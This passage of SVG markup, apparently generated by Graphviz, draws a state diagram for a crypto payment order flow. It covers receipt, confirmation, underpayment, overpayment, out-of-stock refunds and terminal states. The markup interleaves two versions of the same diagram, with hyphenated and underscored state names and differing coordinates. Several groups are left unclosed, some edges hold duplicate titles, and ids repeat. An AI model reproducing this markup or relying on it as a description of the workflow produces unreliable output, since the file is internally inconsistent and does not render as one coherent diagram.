<polygon fill="black" stroke="black" stroke-width="1.5" points="817.17,-465.41 827.17,-461.91 817.17,-458.41 817.17,-465.41"/>
<text text-anchor="middle" x="626.9" y="-464.41" font-family="Arial" font-size="10.00">Underpayment detected</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded -->
<g id="node12" class="node">
<title>out&#45;of&#45;stock&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M985.15,-387.41C985.15,-387.41 880.65,-387.41 880.65,-387.41 874.65,-387.41 868.65,-381.41 868.65,-375.41 868.65,-375.41 868.65,-363.41 868.65,-363.41 868.65,-357.41 874.65,-351.41 880.65,-351.41 880.65,-351.41 985.15,-351.41 985.15,-351.41 991.15,-351.41 997.15,-357.41 997.15,-363.41 997.15,-363.41 997.15,-375.41 997.15,-375.41 997.15,-381.41 991.15,-387.41 985.15,-387.41"/>
<text text-anchor="middle" x="932.9" y="-365.13" font-family="Arial" font-size="12.00" fill="#856404">out&#45;of&#45;stock&#45;refunded</text>
<!-- out_of_stock_refunded -->
<g id="node11" class="node">
<title>out_of_stock_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M949.15,-387.91C949.15,-387.91 835.65,-387.91 835.65,-387.91 829.65,-387.91 823.65,-381.91 823.65,-375.91 823.65,-375.91 823.65,-363.91 823.65,-363.91 823.65,-357.91 829.65,-351.91 835.65,-351.91 835.65,-351.91 949.15,-351.91 949.15,-351.91 955.15,-351.91 961.15,-357.91 961.15,-363.91 961.15,-363.91 961.15,-375.91 961.15,-375.91 961.15,-381.91 955.15,-387.91 949.15,-387.91"/>
<text text-anchor="middle" x="892.4" y="-365.64" font-family="Arial" font-size="12.00" fill="#856404">out_of_stock_refunded</text>
</g>
<!-- received&#45;&gt;out&#45;of&#45;stock&#45;refunded -->
<!-- received&#45;&gt;out_of_stock_refunded -->
<g id="edge10" class="edge">
<title>received&#45;&gt;out&#45;of&#45;stock&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.58,-428.12C474.09,-418.69 727.61,-391.4 855.79,-377.6"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="855.96,-381.1 865.53,-376.55 855.22,-374.14 855.96,-381.1"/>
<text text-anchor="middle" x="661.15" y="-407.03" font-family="Arial" font-size="10.00">Product unavailable</text>
<title>received&#45;&gt;out_of_stock_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.73,-456.63C467.93,-442.68 690.33,-404.46 810.99,-383.73"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="811.55,-387.18 820.81,-382.04 810.36,-380.29 811.55,-387.18"/>
<text text-anchor="middle" x="626.9" y="-430.55" font-family="Arial" font-size="10.00">Product unavailable</text>
</g>
<!-- terminated -->
<g id="node24" class="node">
<g id="node23" class="node">
<title>terminated</title>
<path fill="#e0e0e0" stroke="#333333" stroke-width="2" d="M1700.88,-312.92C1700.88,-312.92 1700.88,-317.89 1700.88,-317.89 1700.88,-320.38 1698.54,-323.71 1696.2,-324.55 1696.2,-324.55 1676.42,-331.72 1676.42,-331.72 1674.08,-332.56 1669.26,-333.41 1666.77,-333.41 1666.77,-333.41 1635.51,-333.41 1635.51,-333.41 1633.02,-333.41 1628.2,-332.56 1625.86,-331.72 1625.86,-331.72 1606.07,-324.55 1606.07,-324.55 1603.74,-323.71 1601.4,-320.38 1601.4,-317.89 1601.4,-317.89 1601.4,-312.92 1601.4,-312.92 1601.4,-310.44 1603.74,-307.1 1606.07,-306.26 1606.07,-306.26 1625.86,-299.1 1625.86,-299.1 1628.2,-298.25 1633.02,-297.41 1635.51,-297.41 1635.51,-297.41 1666.77,-297.41 1666.77,-297.41 1669.26,-297.41 1674.08,-298.25 1676.42,-299.1 1676.42,-299.1 1696.2,-306.26 1696.2,-306.26 1698.54,-307.1 1700.88,-310.44 1700.88,-312.92"/>
<path fill="none" stroke="#333333" stroke-width="2" d="M1704.88,-311.99C1704.88,-311.99 1704.88,-318.83 1704.88,-318.83 1704.88,-322.25 1701.66,-326.83 1698.44,-328 1698.44,-328 1678.88,-335.08 1678.88,-335.08 1675.66,-336.24 1669.02,-337.41 1665.6,-337.41 1665.6,-337.41 1636.68,-337.41 1636.68,-337.41 1633.26,-337.41 1626.62,-336.24 1623.4,-335.08 1623.4,-335.08 1603.83,-328 1603.83,-328 1600.62,-326.83 1597.4,-322.25 1597.4,-318.83 1597.4,-318.83 1597.4,-311.99 1597.4,-311.99 1597.4,-308.57 1600.62,-303.98 1603.83,-302.82 1603.83,-302.82 1623.4,-295.73 1623.4,-295.73 1626.62,-294.57 1633.26,-293.41 1636.68,-293.41 1636.68,-293.41 1665.6,-293.41 1665.6,-293.41 1669.02,-293.41 1675.66,-294.57 1678.88,-295.73 1678.88,-295.73 1698.44,-302.82 1698.44,-302.82 1701.66,-303.98 1704.88,-308.57 1704.88,-311.99"/>
<text text-anchor="middle" x="1651.14" y="-311.13" font-family="Arial" font-size="12.00" fill="#333333">terminated</text>
<path fill="#e0e0e0" stroke="#333333" stroke-width="2" d="M1672.38,-313.43C1672.38,-313.43 1672.38,-318.4 1672.38,-318.4 1672.38,-320.88 1670.04,-324.21 1667.7,-325.06 1667.7,-325.06 1647.92,-332.22 1647.92,-332.22 1645.58,-333.07 1640.76,-333.91 1638.27,-333.91 1638.27,-333.91 1607.01,-333.91 1607.01,-333.91 1604.52,-333.91 1599.7,-333.07 1597.36,-332.22 1597.36,-332.22 1577.57,-325.06 1577.57,-325.06 1575.24,-324.21 1572.9,-320.88 1572.9,-318.4 1572.9,-318.4 1572.9,-313.43 1572.9,-313.43 1572.9,-310.94 1575.24,-307.61 1577.57,-306.76 1577.57,-306.76 1597.36,-299.6 1597.36,-299.6 1599.7,-298.76 1604.52,-297.91 1607.01,-297.91 1607.01,-297.91 1638.27,-297.91 1638.27,-297.91 1640.76,-297.91 1645.58,-298.76 1647.92,-299.6 1647.92,-299.6 1667.7,-306.76 1667.7,-306.76 1670.04,-307.61 1672.38,-310.94 1672.38,-313.43"/>
<path fill="none" stroke="#333333" stroke-width="2" d="M1676.38,-312.49C1676.38,-312.49 1676.38,-319.33 1676.38,-319.33 1676.38,-322.75 1673.16,-327.34 1669.94,-328.5 1669.94,-328.5 1650.38,-335.58 1650.38,-335.58 1647.16,-336.75 1640.52,-337.91 1637.1,-337.91 1637.1,-337.91 1608.18,-337.91 1608.18,-337.91 1604.76,-337.91 1598.12,-336.75 1594.9,-335.58 1594.9,-335.58 1575.33,-328.5 1575.33,-328.5 1572.12,-327.34 1568.9,-322.75 1568.9,-319.33 1568.9,-319.33 1568.9,-312.49 1568.9,-312.49 1568.9,-309.07 1572.12,-304.49 1575.33,-303.32 1575.33,-303.32 1594.9,-296.24 1594.9,-296.24 1598.12,-295.08 1604.76,-293.91 1608.18,-293.91 1608.18,-293.91 1637.1,-293.91 1637.1,-293.91 1640.52,-293.91 1647.16,-295.08 1650.38,-296.24 1650.38,-296.24 1669.94,-303.32 1669.94,-303.32 1673.16,-304.49 1676.38,-309.07 1676.38,-312.49"/>
<text text-anchor="middle" x="1622.64" y="-311.64" font-family="Arial" font-size="12.00" fill="#333333">terminated</text>
</g>
<!-- expired&#45;&gt;terminated -->
<g id="edge18" class="edge">
<g id="edge17" class="edge">
<title>expired&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M538.57,-270.09C647.95,-269.03 1060.66,-266.78 1399.4,-288.41 1462.37,-292.43 1533.91,-300.48 1584.41,-306.75"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1583.84,-310.2 1594.2,-307.98 1584.71,-303.26 1583.84,-310.2"/>
<text text-anchor="middle" x="932.9" y="-276.13" font-family="Arial" font-size="10.00">✓ Terminal Failed (Expired)</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M512.25,-271.56C621.35,-270.34 1033.02,-267.52 1370.9,-288.91 1433.87,-292.9 1505.41,-300.95 1555.91,-307.23"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1555.34,-310.69 1565.7,-308.46 1556.22,-303.74 1555.34,-310.69"/>
<text text-anchor="middle" x="892.4" y="-276.84" font-family="Arial" font-size="10.00">✓ Terminal Failed (Expired)</text>
</g>
<!-- cancelled&#45;&gt;terminated -->
<g id="edge35" class="edge">
<title>cancelled&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M819.12,-224.73C952.02,-218.6 1437.75,-200.47 1579.4,-255.41 1595.31,-261.58 1610.17,-272.92 1622.13,-284.1"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1619.48,-286.4 1629.05,-290.93 1624.39,-281.42 1619.48,-286.4"/>
<text text-anchor="middle" x="1098.4" y="-221.14" font-family="Arial" font-size="10.00">✓ Terminal Failed (Cancelled)</text>
</g>
<!-- confirmed&#45;complete -->
<g id="node9" class="node">
<title>confirmed&#45;complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1146.9,-642.41C1146.9,-642.41 1049.9,-642.41 1049.9,-642.41 1043.9,-642.41 1037.9,-636.41 1037.9,-630.41 1037.9,-630.41 1037.9,-618.41 1037.9,-618.41 1037.9,-612.41 1043.9,-606.41 1049.9,-606.41 1049.9,-606.41 1146.9,-606.41 1146.9,-606.41 1152.9,-606.41 1158.9,-612.41 1158.9,-618.41 1158.9,-618.41 1158.9,-630.41 1158.9,-630.41 1158.9,-636.41 1152.9,-642.41 1146.9,-642.41"/>
<text text-anchor="middle" x="1098.4" y="-620.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;complete</text>
</g>
<!-- confirmed&#45;&gt;confirmed&#45;complete -->
<g id="edge11" class="edge">
<title>confirmed&#45;&gt;confirmed&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M696.3,-582.94C766.86,-590.23 930.04,-607.1 1025.09,-616.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1024.62,-620.4 1034.93,-617.95 1025.34,-613.44 1024.62,-620.4"/>
<text text-anchor="middle" x="784.27" y="-598.68" font-family="Arial" font-size="10.00">Swept to cold storage</text>
</g>
<!-- confirmed&#45;complete&#45;&gt;terminated -->
<g id="edge12" class="edge">
<title>confirmed&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1157.63,-643.31C1256.38,-671.4 1457.8,-710.94 1579.4,-612.41 1620,-579.51 1640.02,-421.12 1647.08,-350.05"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1650.53,-350.79 1648,-340.5 1643.56,-350.12 1650.53,-350.79"/>
<text text-anchor="middle" x="1290.15" y="-678.64" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded -->
<g id="node13" class="node">
<title>confirmed&#45;overpay&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M1003.9,-549.41C1003.9,-549.41 861.9,-549.41 861.9,-549.41 855.9,-549.41 849.9,-543.41 849.9,-537.41 849.9,-537.41 849.9,-525.41 849.9,-525.41 849.9,-519.41 855.9,-513.41 861.9,-513.41 861.9,-513.41 1003.9,-513.41 1003.9,-513.41 1009.9,-513.41 1015.9,-519.41 1015.9,-525.41 1015.9,-525.41 1015.9,-537.41 1015.9,-537.41 1015.9,-543.41 1009.9,-549.41 1003.9,-549.41"/>
<text text-anchor="middle" x="932.9" y="-527.13" font-family="Arial" font-size="12.00" fill="#856404">confirmed&#45;overpay&#45;refunded</text>
</g>
<!-- confirmed&#45;overpay&#45;&gt;confirmed&#45;overpay&#45;refunded -->
<g id="edge13" class="edge">
<title>confirmed&#45;overpay&#45;&gt;confirmed&#45;overpay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M719.36,-513.28C753.48,-516.19 797.68,-519.96 836.92,-523.31"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="836.4,-526.78 846.66,-524.14 836.99,-519.8 836.4,-526.78"/>
<text text-anchor="middle" x="784.27" y="-525.14" font-family="Arial" font-size="10.00">Initiate refund</text>
</g>
<!-- underpaid&#45;refunded&#45;complete -->
<g id="node18" class="node">
<title>underpaid&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1364.9,-495.41C1364.9,-495.41 1215.4,-495.41 1215.4,-495.41 1209.4,-495.41 1203.4,-489.41 1203.4,-483.41 1203.4,-483.41 1203.4,-471.41 1203.4,-471.41 1203.4,-465.41 1209.4,-459.41 1215.4,-459.41 1215.4,-459.41 1364.9,-459.41 1364.9,-459.41 1370.9,-459.41 1376.9,-465.41 1376.9,-471.41 1376.9,-471.41 1376.9,-483.41 1376.9,-483.41 1376.9,-489.41 1370.9,-495.41 1364.9,-495.41"/>
<text text-anchor="middle" x="1290.15" y="-473.13" font-family="Arial" font-size="12.00" fill="#721c24">underpaid&#45;refunded&#45;complete</text>
</g>
<!-- underpaid&#45;refunded&#45;&gt;underpaid&#45;refunded&#45;complete -->
<g id="edge23" class="edge">
<title>underpaid&#45;refunded&#45;&gt;underpaid&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M994.16,-439.99C1007.26,-441.81 1021.04,-443.7 1033.9,-445.41 1085.52,-452.26 1143.07,-459.5 1190.44,-465.37"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1189.96,-468.83 1200.32,-466.59 1190.82,-461.89 1189.96,-468.83"/>
<text text-anchor="middle" x="1098.4" y="-464.01" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- underpaid&#45;not&#45;refunded -->
<g id="node19" class="node">
<title>underpaid&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1348.78,-441.41C1348.78,-441.41 1231.53,-441.41 1231.53,-441.41 1225.53,-441.41 1219.53,-435.41 1219.53,-429.41 1219.53,-429.41 1219.53,-417.41 1219.53,-417.41 1219.53,-411.41 1225.53,-405.41 1231.53,-405.41 1231.53,-405.41 1348.78,-405.41 1348.78,-405.41 1354.78,-405.41 1360.78,-411.41 1360.78,-417.41 1360.78,-417.41 1360.78,-429.41 1360.78,-429.41 1360.78,-435.41 1354.78,-441.41 1348.78,-441.41"/>
<text text-anchor="middle" x="1290.15" y="-419.13" font-family="Arial" font-size="12.00" fill="#721c24">underpaid&#45;not&#45;refunded</text>
</g>
<!-- underpaid&#45;refunded&#45;&gt;underpaid&#45;not&#45;refunded -->
<g id="edge24" class="edge">
<title>underpaid&#45;refunded&#45;&gt;underpaid&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M994.16,-430.05C1052.56,-428.73 1141.59,-426.73 1206.56,-425.27"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1206.62,-428.77 1216.54,-425.04 1206.47,-421.77 1206.62,-428.77"/>
<text text-anchor="middle" x="1098.4" y="-431.54" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;complete -->
<g id="node20" class="node">
<title>out&#45;of&#45;stock&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1368.65,-387.41C1368.65,-387.41 1211.65,-387.41 1211.65,-387.41 1205.65,-387.41 1199.65,-381.41 1199.65,-375.41 1199.65,-375.41 1199.65,-363.41 1199.65,-363.41 1199.65,-357.41 1205.65,-351.41 1211.65,-351.41 1211.65,-351.41 1368.65,-351.41 1368.65,-351.41 1374.65,-351.41 1380.65,-357.41 1380.65,-363.41 1380.65,-363.41 1380.65,-375.41 1380.65,-375.41 1380.65,-381.41 1374.65,-387.41 1368.65,-387.41"/>
<text text-anchor="middle" x="1290.15" y="-365.13" font-family="Arial" font-size="12.00" fill="#721c24">out&#45;of&#45;stock&#45;refunded&#45;complete</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;refunded&#45;complete -->
<g id="edge27" class="edge">
<title>out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M997.82,-369.41C1050.35,-369.41 1125.77,-369.41 1186.72,-369.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1186.43,-372.91 1196.43,-369.41 1186.43,-365.91 1186.43,-372.91"/>
<text text-anchor="middle" x="1098.4" y="-371.91" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- out&#45;of&#45;stock&#45;not&#45;refunded -->
<g id="node21" class="node">
<title>out&#45;of&#45;stock&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1352.53,-333.41C1352.53,-333.41 1227.78,-333.41 1227.78,-333.41 1221.78,-333.41 1215.78,-327.41 1215.78,-321.41 1215.78,-321.41 1215.78,-309.41 1215.78,-309.41 1215.78,-303.41 1221.78,-297.41 1227.78,-297.41 1227.78,-297.41 1352.53,-297.41 1352.53,-297.41 1358.53,-297.41 1364.53,-303.41 1364.53,-309.41 1364.53,-309.41 1364.53,-321.41 1364.53,-321.41 1364.53,-327.41 1358.53,-333.41 1352.53,-333.41"/>
<text text-anchor="middle" x="1290.15" y="-311.13" font-family="Arial" font-size="12.00" fill="#721c24">out&#45;of&#45;stock&#45;not&#45;refunded</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;not&#45;refunded -->
<g id="edge28" class="edge">
<title>out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M997.9,-359.06C1009.86,-357.16 1022.26,-355.2 1033.9,-353.41 1090.14,-344.72 1153.42,-335.3 1202.9,-328.01"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1203.21,-331.5 1212.6,-326.58 1202.19,-324.58 1203.21,-331.5"/>
<text text-anchor="middle" x="1098.4" y="-355.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;complete -->
<g id="node14" class="node">
<title>confirmed&#45;overpay&#45;refunded&#45;complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1387.4,-603.41C1387.4,-603.41 1192.9,-603.41 1192.9,-603.41 1186.9,-603.41 1180.9,-597.41 1180.9,-591.41 1180.9,-591.41 1180.9,-579.41 1180.9,-579.41 1180.9,-573.41 1186.9,-567.41 1192.9,-567.41 1192.9,-567.41 1387.4,-567.41 1387.4,-567.41 1393.4,-567.41 1399.4,-573.41 1399.4,-579.41 1399.4,-579.41 1399.4,-591.41 1399.4,-591.41 1399.4,-597.41 1393.4,-603.41 1387.4,-603.41"/>
<text text-anchor="middle" x="1290.15" y="-581.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;overpay&#45;refunded&#45;complete</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;refunded&#45;complete -->
<g id="edge14" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1016.83,-544.75C1022.61,-545.65 1028.34,-546.55 1033.9,-547.41 1077.62,-554.16 1125.58,-561.35 1168.01,-567.65"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1167.47,-571.1 1177.87,-569.11 1168.49,-564.18 1167.47,-571.1"/>
<text text-anchor="middle" x="1098.4" y="-568.88" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- confirmed&#45;overpay&#45;not&#45;refunded -->
<g id="node15" class="node">
<title>confirmed&#45;overpay&#45;not&#45;refunded</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1371.28,-549.41C1371.28,-549.41 1209.03,-549.41 1209.03,-549.41 1203.03,-549.41 1197.03,-543.41 1197.03,-537.41 1197.03,-537.41 1197.03,-525.41 1197.03,-525.41 1197.03,-519.41 1203.03,-513.41 1209.03,-513.41 1209.03,-513.41 1371.28,-513.41 1371.28,-513.41 1377.28,-513.41 1383.28,-519.41 1383.28,-525.41 1383.28,-525.41 1383.28,-537.41 1383.28,-537.41 1383.28,-543.41 1377.28,-549.41 1371.28,-549.41"/>
<text text-anchor="middle" x="1290.15" y="-527.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;overpay&#45;not&#45;refunded</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;not&#45;refunded -->
<g id="edge15" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1016.74,-531.41C1066.68,-531.41 1130.76,-531.41 1184.22,-531.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1183.88,-534.91 1193.88,-531.41 1183.88,-527.91 1183.88,-534.91"/>
<text text-anchor="middle" x="1098.4" y="-533.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge16" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1400.13,-595.95C1459.54,-595.76 1530.68,-585.06 1579.4,-543.41 1636.35,-494.73 1648.14,-401.11 1650.16,-350.3"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1653.65,-350.41 1650.42,-340.32 1646.66,-350.23 1653.65,-350.41"/>
<text text-anchor="middle" x="1498.4" y="-598.72" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- confirmed&#45;overpay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge17" class="edge">
<title>confirmed&#45;overpay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1384.21,-529.17C1456.64,-525.63 1549.68,-516.55 1579.4,-493.41 1624,-458.66 1640.56,-391.56 1646.65,-350.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1650.12,-350.9 1647.96,-340.53 1643.18,-349.99 1650.12,-350.9"/>
<text text-anchor="middle" x="1498.4" y="-529.98" font-family="Arial" font-size="10.00">✓ Terminal Success (Not Refunded)</text>
</g>
<!-- latepay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge21" class="edge">
<title>latepay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1370.32,-62.87C1433.56,-55.93 1520.99,-57.42 1579.4,-103.66 1633.54,-146.52 1646.59,-232.28 1649.51,-280.47"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1646.02,-280.62 1649.98,-290.45 1653.01,-280.3 1646.02,-280.62"/>
<text text-anchor="middle" x="1498.4" y="-106.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- latepay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge22" class="edge">
<title>latepay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1354.19,-8.27C1418.33,3.14 1516.93,9.1 1579.4,-42.66 1616.03,-73 1637.83,-214.63 1646.19,-280.97"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1642.68,-281.05 1647.37,-290.55 1649.62,-280.2 1642.68,-281.05"/>
<text text-anchor="middle" x="1498.4" y="-45.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- underpaid&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge25" class="edge">
<title>underpaid&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1377.79,-481.99C1438.93,-481.08 1520.16,-471.13 1579.4,-431.41 1608.41,-411.95 1627.53,-376.19 1638.49,-349.5"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1641.65,-351.03 1642.01,-340.44 1635.13,-348.49 1641.65,-351.03"/>
<text text-anchor="middle" x="1498.4" y="-482.81" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- underpaid&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge26" class="edge">
<title>underpaid&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1361.59,-420.73C1421.81,-416.2 1509.54,-404.17 1579.4,-372.41 1593.9,-365.81 1607.97,-355.55 1619.69,-345.54"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1621.72,-348.42 1626.86,-339.15 1617.06,-343.19 1621.72,-348.42"/>
<text text-anchor="middle" x="1498.4" y="-417.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge29" class="edge">
<title>out&#45;of&#45;stock&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1381.45,-360.35C1438.46,-354.01 1513.53,-344.51 1579.4,-332.41 1582.72,-331.8 1586.12,-331.13 1589.54,-330.42"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1589.95,-333.91 1598.98,-328.38 1588.46,-327.07 1589.95,-333.91"/>
<text text-anchor="middle" x="1498.4" y="-358.77" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- out&#45;of&#45;stock&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge30" class="edge">
<title>out&#45;of&#45;stock&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1365.1,-315.41C1429.66,-315.41 1522.47,-315.41 1584.45,-315.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1584.15,-318.91 1594.15,-315.41 1584.15,-311.91 1584.15,-318.91"/>
<text text-anchor="middle" x="1498.4" y="-318.66" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- doublepay&#45;refunded&#45;complete&#45;&gt;terminated -->
<g id="edge33" class="edge">
<title>doublepay&#45;refunded&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1378.97,-182.74C1451.13,-182.09 1546.6,-185.24 1579.4,-204.66 1608.17,-221.69 1627.18,-255.52 1638.18,-281.33"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1634.86,-282.45 1641.83,-290.43 1641.36,-279.84 1634.86,-282.45"/>
<text text-anchor="middle" x="1498.4" y="-207.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- doublepay&#45;not&#45;refunded&#45;&gt;terminated -->
<g id="edge34" class="edge">
<title>doublepay&#45;not&#45;refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1362.89,-121.73C1425.79,-117.17 1516.72,-120.54 1579.4,-165.66 1617.29,-192.93 1635.57,-245.84 1643.88,-280.9"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1640.37,-281.25 1645.93,-290.27 1647.21,-279.75 1640.37,-281.25"/>
<text text-anchor="middle" x="1498.4" y="-168.91" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
<title>cancelled&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M788.97,-226.21C921.42,-219.89 1408.84,-200.92 1550.9,-255.91 1566.82,-262.07 1581.68,-273.42 1593.63,-284.59"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1590.98,-286.9 1600.56,-291.43 1595.9,-281.91 1590.98,-286.9"/>
<text text-anchor="middle" x="1060.9" y="-222.44" font-family="Arial" font-size="10.00">✓ Terminal Failed (Cancelled)</text>
</g>
<!-- confirmed&#45;&gt;terminated -->
<g id="edge11" class="edge">
<title>confirmed&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1095.96,-636.62C1182.86,-664.12 1415.45,-722.61 1550.9,-612.91 1591.51,-580.02 1611.52,-421.63 1618.58,-350.55"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1622.03,-351.29 1619.5,-341 1615.06,-350.62 1622.03,-351.29"/>
<text text-anchor="middle" x="1257.15" y="-680.24" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- confirmed_overpay_refunded -->
<g id="node12" class="node">
<title>confirmed_overpay_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M966.4,-549.91C966.4,-549.91 818.4,-549.91 818.4,-549.91 812.4,-549.91 806.4,-543.91 806.4,-537.91 806.4,-537.91 806.4,-525.91 806.4,-525.91 806.4,-519.91 812.4,-513.91 818.4,-513.91 818.4,-513.91 966.4,-513.91 966.4,-513.91 972.4,-513.91 978.4,-519.91 978.4,-525.91 978.4,-525.91 978.4,-537.91 978.4,-537.91 978.4,-543.91 972.4,-549.91 966.4,-549.91"/>
<text text-anchor="middle" x="892.4" y="-527.64" font-family="Arial" font-size="12.00" fill="#856404">confirmed_overpay_refunded</text>
</g>
<!-- confirmed_overpay&#45;&gt;confirmed_overpay_refunded -->
<g id="edge12" class="edge">
<title>confirmed_overpay&#45;&gt;confirmed_overpay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M686.71,-525.7C718.12,-526.65 757.61,-527.85 793.5,-528.94"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="793.15,-532.43 803.25,-529.24 793.36,-525.43 793.15,-532.43"/>
